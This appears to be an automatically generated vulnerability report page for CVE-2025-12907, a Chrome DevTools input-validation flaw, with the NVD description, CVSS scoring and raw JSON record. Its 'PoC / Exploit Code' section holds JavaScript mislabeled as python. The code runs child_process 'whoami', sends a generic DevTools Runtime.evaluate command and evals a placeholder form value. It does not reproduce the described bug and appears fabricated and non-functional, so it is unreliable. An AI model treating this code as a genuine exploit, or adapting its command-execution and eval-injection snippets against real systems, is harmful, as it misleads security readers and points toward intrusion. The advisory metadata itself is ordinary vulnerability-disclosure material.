Security Vulnerability Report
中文
CVE-2025-12907 CVSS 8.8 HIGH

CVE-2025-12907

Published: 2025-11-08 00:15:35
Last Modified: 2025-11-21 21:20:47

Description

Insufficient validation of untrusted input in Devtools in Google Chrome prior to 140.0.7339.80 allowed a remote attacker to execute arbitrary code via user action in Devtools. (Chromium security severity: Low)

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE
Google Chrome < 140.0.7339.80

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-12907 PoC - Chrome DevTools RCE via Insufficient Input Validation // This PoC demonstrates the insufficient validation vulnerability in DevTools // Note: This is a conceptual PoC for educational purposes only // Method 1: Using DevTools Console with malicious input const maliciousInput = ` // Attempt to execute code through DevTools console try { // The vulnerability allows unvalidated input to be processed const payload = require('child_process').execSync('whoami'); console.log('Executed payload:', payload.toString()); } catch(e) { console.log('Error:', e.message); } `; // Method 2: Exploiting DevTools protocol async function exploitDevTools() { const targetUrl = 'https://vulnerable-site.com'; // Craft malicious DevTools command const maliciousCommand = { id: 1, method: 'Runtime.evaluate', params: { expression: maliciousInput, userGesture: true } }; console.log('Sending malicious DevTools command...'); return maliciousCommand; } // Method 3: Social engineering approach const socialEngineeringPayload = ` // Auto-open DevTools and inject code window.devtoolsForm = document.createElement('form'); window.devtoolsForm.innerHTML = '<input name="cmd" value="malicious_code">'; document.body.appendChild(window.devtoolsForm); // Trigger DevTools interaction setTimeout(() => { // The insufficient validation allows code execution eval(document.forms[0].cmd.value); }, 1000); `; // Export for testing module.exports = { exploitDevTools, maliciousInput, socialEngineeringPayload };

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12907", "sourceIdentifier": "[email protected]", "published": "2025-11-08T00:15:35.443", "lastModified": "2025-11-21T21:20:47.393", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient validation of untrusted input in Devtools in Google Chrome prior to 140.0.7339.80 allowed a remote attacker to execute arbitrary code via user action in Devtools. (Chromium security severity: Low)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "140.0.7339.80", "matchCriteriaId": "614C3A2A-11F8-45CE-BEF0-9033AD4AE057"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/09/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/427367145", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Patch"]}]}}